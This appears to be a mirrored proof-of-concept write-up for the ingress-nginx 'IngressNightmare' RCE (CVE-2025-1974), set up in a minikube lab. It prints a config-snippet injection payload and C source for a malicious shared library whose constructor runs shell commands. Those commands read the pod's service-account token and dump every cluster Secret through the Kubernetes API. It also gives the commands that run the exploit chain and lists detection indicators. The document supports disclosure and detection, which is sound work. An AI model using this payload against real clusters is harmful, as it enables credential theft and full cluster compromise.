IngressNightmare: Kubernetes ingress-nginx Admission Controller Shared-Library Injection RCE (CVE-2025-1974)

Metadata

Affected Target

Summary

The ingress-nginx admission controller validates incoming Ingress objects by rendering a temporary NGINX configuration and running nginx -t against it — but the validation webhook itself has no authentication and accepts attacker-controlled configuration snippet annotations. By injecting the annotation nginx.ingress.kubernetes.io/configuration-snippet with content that breaks out of its intended NGINX config context and adds an ssl_engine /path/to/payload.so; directive, an attacker can make nginx -t load an arbitrary shared library from a path they control (uploaded beforehand via a separate write primitive to the controller pod, e.g. /tmp/exploit.so). Because shared libraries execute constructor code as soon as they are mapped into memory, this achieves arbitrary code execution inside the ingress-nginx controller pod — which, under default RBAC, has read access to all Secrets in the cluster, making this a path to full cluster compromise. Publicly disclosed by Wiz Research as “IngressNightmare.”

Vulnerability Details

Root Cause

The admission webhook accepts and templates attacker-supplied annotation content into the NGINX configuration used for nginx -t validation without adequate sanitization, letting an attacker close the intended context and inject a raw ssl_engine directive:

1
2
3
4

"annotations": {
  "nginx.ingress.kubernetes.io/configuration-snippet":
    "}}} ssl_engine /tmp/exploit.so; http { server { location / {"
}

The malicious shared library uses a GCC constructor attribute so its payload runs the instant NGINX’s OpenSSL engine loader maps it into memory — no further trigger is needed:

1
2
3
4
5
6
7
8
9

void bind_engine() {}  // required symbol for the OpenSSL engine loader

__attribute__((constructor))
void exploit() {
    write(2, "\n\n[!!!] CVE-2025-1974 RCE TRIGGERED [!!!]\n\n", 43);
    system("echo 'Pwned by CVE-2025-1974' > /tmp/pwned");
    system("curl -s -k -H \"Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)\" "
           "https://kubernetes.default.svc/api/v1/secrets >&2");
}

Attack Vector

1. Attacker gets a malicious .so payload onto a path reachable by the ingress-nginx controller pod’s filesystem (e.g. /tmp/exploit.so — in this lab, delivered by a companion “attacker” pod with access to the webhook).
2. Attacker sends a crafted AdmissionReview request directly to the admission controller’s validating webhook endpoint (e.g. https://<controller-pod-ip>:8443/networking/v1/ingresses), containing an Ingress object whose configuration-snippet annotation breaks out of its NGINX config context and injects ssl_engine /tmp/exploit.so;.
3. The admission controller renders this into a temporary NGINX config and runs nginx -t to validate it, which loads the OpenSSL engine at the injected path.
4. The shared library’s constructor function executes immediately upon load, inside the ingress-nginx controller pod.
5. The payload uses the pod’s own Kubernetes service-account token (mounted by default) to call the Kubernetes API and dump all cluster Secrets, and/or drops a witness file (/tmp/pwned).

Impact

Unauthenticated arbitrary code execution inside the ingress-nginx controller pod, with default RBAC granting that pod read access to all Secrets across the cluster — enabling full cluster compromise (credential theft, further lateral movement, persistence).

Environment / Lab Setup

Tools required: minikube, kubectl, helm (installed automatically by setup_cve_env.sh)
Lab: one-node minikube cluster with a vulnerable ingress-nginx controller
     (v1.11.0-1.11.4 or v1.12.0) deployed via Helm, plus a companion "attacker"
     pod (Dockerfile.attacker / attacker-pod.yaml) that delivers exploit.so and
     runs exploit.py against the controller's admission webhook

Proof of Concept

PoC Script

See exploit.py, exploit.c / exploit.so, setup_cve_env.sh, Dockerfile.attacker, and attacker-pod.yaml in this folder.

1
2
3
4
5
6
7
8
9

./setup_cve_env.sh

WEBHOOK_IP=$(kubectl get pod -n ingress-nginx \
  -l app.kubernetes.io/component=controller -o jsonpath='{.items[0].status.podIP}')

kubectl exec attacker -- python3 /tmp/exploit.py $WEBHOOK_IP

CPOD=$(kubectl get pod -n ingress-nginx -l app.kubernetes.io/component=controller -o jsonpath='{.items[0].metadata.name}')
kubectl exec -n ingress-nginx $CPOD -- ls -l /tmp/pwned

Detection & Indicators of Compromise

POST https://<controller-ip>:8443/networking/v1/ingresses HTTP/1.1
Content-Type: application/json
{"kind":"AdmissionReview", ... "configuration-snippet": "}}} ssl_engine ..."}

Signs of compromise:

• ingress-nginx controller pod logs containing RCE TRIGGERED or unexplained stderr output around nginx -t validation
• Ingress resources (even ones that failed to apply) with configuration-snippet annotations containing } characters or ssl_engine/other raw NGINX directives outside expected context
• Unexpected outbound calls from the controller pod to https://kubernetes.default.svc/api/v1/secrets using the pod’s own service-account token
• Presence of unexpected .so files or witness files (e.g. /tmp/pwned) inside the controller pod’s filesystem
• Direct network connections to the admission webhook port (8443 by default) from outside expected API-server traffic

Remediation

References

• Source repository
• CVE record
• Wiz Research report
• Kubernetes blog response

Notes

Mirrored from https://github.com/BoianEduard/CVE-2025-1974 on 2026-07-06. Full working chain (exploit.c/.so, exploit.py, Dockerfile, k8s pod manifest, and an automated setup script) reproducing the publicly disclosed “IngressNightmare” RCE end-to-end in a disposable minikube lab.